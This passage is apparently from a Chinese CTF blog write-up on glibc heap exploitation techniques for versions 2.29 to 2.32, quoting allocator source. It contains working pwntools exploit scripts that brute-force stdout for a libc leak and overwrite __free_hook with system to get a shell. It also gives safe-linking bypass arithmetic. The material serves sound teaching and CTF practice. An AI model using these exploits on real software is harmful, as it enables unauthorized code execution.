1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *) chunk2mem (p); if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } }
重点是这里if (__glibc_unlikely (e->key == tcache)),即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以 配合largebin attack来进行攻击tcache dup。
▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。
参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)
③出现的新手段
Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0 ) malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0 ) malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted" ; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
可以看到几乎是一样的,只有一两处:
A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate 进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate 进行攻击的时候可能会用到。
B.错误打印方式不同:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 errstr = "malloc(): smallbin double linked list corrupted" ; goto errout;errout: if (!have_lock && locked) __libc_lock_unlock (av->mutex); malloc_printerr (check_action, errstr, chunk2mem (p), av); return ; } errout: malloc_printerr (check_action, errstr, chunk2mem (oldp), av); return NULL ; } malloc_printerr ("malloc(): smallbin double linked list corrupted" );
这个在针对malloc_printerr 也可能会用到
而这种攻击主要是针对smallbin攻击的。
但也有一种针对fastbin攻击的:
Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)
这个后面再讨论下。
2.UAF常见限制
(1)UAF + Leak + Size不做限制:
这个没啥好说的,直接泄露地址之后任意申请就完了。
(2)UAF+Leak+Size做限制:
结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。
(3)UAF+无Leak+Size不做限制:
一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。
由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 def pwn (): global p heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf' ] elf_base = leak_elf() - elf.sym['main' ] log.info("heap_base:0x%x" %heap_base) log.info("libc_base:0x%x" %libc_base) log.info("elf_base:0x%x" %elf_base) add_malloc(0x1000 -0x8 -0x250 ,'PIG007NB' ) guess_libc = 0xf000 guess_heap = 0xf000 guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_' ] lg("guess_IO" ,guess_IO) add_malloc(0x4f8 ,"\x00" *0x4f8 ) add_malloc(0x38 ,"\x01" *0x38 ) add_malloc(0x38 ,"\x02" *0x38 ) add_malloc(0x38 ,"\x03" *0x38 ) add_malloc(0x38 ,'\x04' *0x38 ) free(0x1 ) add_malloc(0x78 ,p16((guess_IO)&0xffff )) free(0x2 ) free(0x4 ) edit(0x4 ,0x2 ,p16((guess_heap+0x1000 +0x10 )&0xffff )) add_malloc(0x38 ,'\x05' *0x38 ) add_malloc(0x38 ,'\x06' *0x38 ) add_malloc(0x38 ,p64(0xfbad1800 ) + p64(0 )*3 + '\x00' ) libc_base = u64Leakbase(0x3b5890 ) lg("libc_base" ,libc_base) add_malloc(0x48 ,'/bin/sh\x00' ) add_malloc(0x48 ,'/bin/sh\x00' ) free(0xa ) free(0xb ) edit(0xb ,0x8 ,p64(libc_base+libc.sym['__free_hook' ])) add_malloc(0x48 ,'/bin/sh\x00' ) add_malloc(0x48 ,p64(libc_base + libc.sym['system' ])) free(0xc ) it() i = 0 while True : i = i + 1 try : p = process("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close() continue except Exception: p.close() continue else : p.interactive() break
当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率,比赛时直冲一血,嘿嘿:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 def pwn (): global p heap_base = leak_heap() libc_base = leak_libc() - libc.sym['printf' ] elf_base = leak_elf() - elf.sym['main' ] log.info("heap_base:0x%x" %heap_base) log.info("libc_base:0x%x" %libc_base) log.info("elf_base:0x%x" %elf_base) add_malloc(0x1000 -0x8 -0x250 ,'PIG007NB' ) guess_libc = 0xd000 guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_' ] lg("guess_IO" ,guess_IO) tcacheMalloc(0x98 ) add_malloc(0x98 ,"\x00" *0x98 ) add_malloc(0x98 ,"\x00" *0x98 ) add_malloc(0x38 ,"\x01" *0x38 ) add_malloc(0x38 ,"\x02" *0x38 ) add_malloc(0x38 ,"\x03" *0x38 ) add_malloc(0x38 ,'\x04' *0x38 ) tcacheDelete(0x1 ) free(0x9 ) add_malloc(0x38 ,p16((guess_IO)&0xffff )) free(0xa ) free(0xc ) edit(0xc ,0x1 ,'\x10' ) add_malloc(0x38 ,'\x05' *0x38 ) add_malloc(0x38 ,'\x06' *0x38 ) add_malloc(0x38 ,p64(0xfbad1800 ) + p64(0 )*3 + '\x00' ) libc_base = u64Leakbase(0x3b5890 ) lg("libc_base" ,libc_base) add_malloc(0x48 ,'/bin/sh\x00' ) add_malloc(0x48 ,'/bin/sh\x00' ) free(0x12 ) free(0x13 ) edit(0x13 ,0x8 ,p64(libc_base+libc.sym['__free_hook' ])) add_malloc(0x48 ,'/bin/sh\x00' ) add_malloc(0x48 ,p64(libc_base + libc.sym['system' ])) free(0x14 ) it() i = 0 while True : i = i + 1 try : p = process("./note" ) lg("Times:" ,i) pwn() except EOFError: p.close() continue except Exception: p.close() continue else : p.interactive() break
▲爆破题外话:
之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入
1 2 3 4 5 6 7 context.timeout = 0.5 except Exception: p.close() continue
来简单对抗这两种变化,防止爆破中断,但是这个也会把其他的一些错误给忽略,比如说libc.sym[‘main_arena’],如果给的Libc没有debug信息,那么就搜索不到main_arena,就会出错,而如果加入了上述代码,就会忽略掉,然后重启。
还有的就是需要看下main_arena的地址,爆破的时候可能会和_IO_2_1_stdout相差一点。最好加上打印:
1 2 IO_2_1_stdout_ = guess_libc + libc.sym['_IO_2_1_stdout_' ] lg("_IO_2_1_stdout_" ,_IO_2_1_stdout_)
(4)UAF+无Leak+Size做限制:
一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行)…..
六、Glibc2.31
1.部分手段失效
(1)原始largebin attack失效
从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size== (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" ); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" ); }
即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。
而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。
1 2 3 4 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)" );
1 2 3 4 if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)" );
但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。
(2)Tcache结构扩大
之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
所以tcache的结构体也从0x250扩大为0x290
(3)删除了一些assert
在2.30版本及之后,删除了一些有关tcache的assert
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (tcache && tc_idx < mp_.tcache_bins){ mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL ) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL )) break ; } tcache_put (tc_victim, tc_idx); } } if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0 ) { return tcache_get (tc_idx); }
但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com) 。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。
(4)对count新增了一些限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL ) { return tcache_get (tc_idx); } if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0 ) { return tcache_get (tc_idx); }
从2.30开始在_libc_malloc
中准备从tcache中申请时,会判断counts[tc_idx]
是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free
中却没有新增类似的检查。
2.UAF常见限制
(1)UAF+Leak+Size不做限制:
这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。
(2)UAF+Leak+Size做限制:
结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。
(3)UAF+无Leak+Size不做限制:
其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。
(4)UAF+无Leak+Size做限制:
同样还是需要通过堆布局来修改size,制造unsortedbin chunk。
七、Glibc2.32
1.新增机制
(1)Tcache和Fastbin新增指针异或检查的safe-linking机制
①引入一个宏定义
1 2 3 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
即将传入的pos右移12bit后和ptr异或。
②实际应用
Tcache中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
Fastbin中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (SINGLE_THREAD_P){ if (__builtin_expect (old == p, 0 )) malloc_printerr ("double free or corruption (fasttop)" ); p->fd = PROTECT_PTR (&p->fd, old); *fb = p; } else do { if (__builtin_expect (old == p, 0 )) malloc_printerr ("double free or corruption (fasttop)" ); old2 = old; p->fd = PROTECT_PTR (&p->fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
再加上其他
1 2 3 4 5 6 7 8 9 10 11 12 13 p->fd = PROTECT_PTR (&p->fd, old); p = REVEAL_PTR (p->fd); tcache_tmp->entries[i] = REVEAL_PTR (e->next); *fb = REVEAL_PTR (victim->fd); *fb = REVEAL_PTR (tc_victim->fd); tmp = REVEAL_PTR (tmp->next)) nextp = REVEAL_PTR (p->fd);
1 2 3 4 5 6 7 8 9 10 11 12 #define REMOVE_FB(fb, victim, pp) \ do \ { \ victim = pp; \ if (victim == NULL) \ break; \ pp = REVEAL_PTR (victim->fd); \ if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ malloc_printerr ("malloc(): unaligned fastbin chunk detected" ); \ } \ while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ != victim); \
等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。
(2)新增机制Safe-linking的漏洞
①规律性
官方说的是
1 2 3 4 5 6 7 8 9 /* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */
基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。
②特殊性
虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。
比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:
这里就chunk4->chunk3->chunk2->chunk1。
这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?
计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。
(3)新增Tcache地址对齐检查
①tcache_get中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; } tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
可以看到在tcache_get中新增了一个检查
1 2 if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" );
这个导致了我们的tcache不能任意申请了,必须是0x10对齐的 ,这个可能会导致不少的手段变化。
②tcache结构释放函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 tcache_thread_shutdown (void ) { int i; tcache_perthread_struct *tcache_tmp = tcache; if (!tcache) return ; tcache = NULL ; tcache_shutting_down = true ; for (i = 0 ; i < TCACHE_MAX_BINS; ++i) { while (tcache_tmp->entries[i]) { tcache_entry *e = tcache_tmp->entries[i]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("tcache_thread_shutdown(): " "unaligned tcache chunk detected" ); tcache_tmp->entries[i] = REVEAL_PTR (e->next); __libc_free (e); } } __libc_free (tcache_tmp); }
1 2 3 if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("tcache_thread_shutdown(): " "unaligned tcache chunk detected" );
即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。
③Tcache中double free检查中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (__glibc_unlikely (e->key == tcache)){ tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next)) { if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2" ); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2" ); } }
1 2 if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2" );
当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。
想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。
2.UAF常见限制
(1)UAF+Leak+Size不做限制:
这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。
(2)UAF+Leak+Size做限制:
一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。
(3)UAF+无Leak+Size做限制:
这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。
▲爆破两字节申请Tcache Struct:
比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000
然后我们按照上述方法,用一定堆布局,计算一下地址
异或之后的地址应该为:
1 2 chunk1: 0xabcde5500400 ^ 0xabcde5500 = 0 x--(0x0400 ^0x5500 ) TcacheStruct: 0xabcde5500000 ^ 0xabcde5500 = 0 x--(0x0000 ^0x5500 )
那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。
▲size做限制其实没差别,可以爆破一个字节来修改的。
总结
这次总结堆利用方法让我也学到了好多,翻了好多源码,很多以前不明所以的东西翻了相关源码之后感觉一下子就清楚了。
这篇文章持续更新,以后再发现有意思的地方再回来更新。
当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如
house of pig
:house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)
house of banana
:house of banana - 安全客,安全资讯平台 (anquanke.com)
等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。
后面找时间再总结下off by null吧。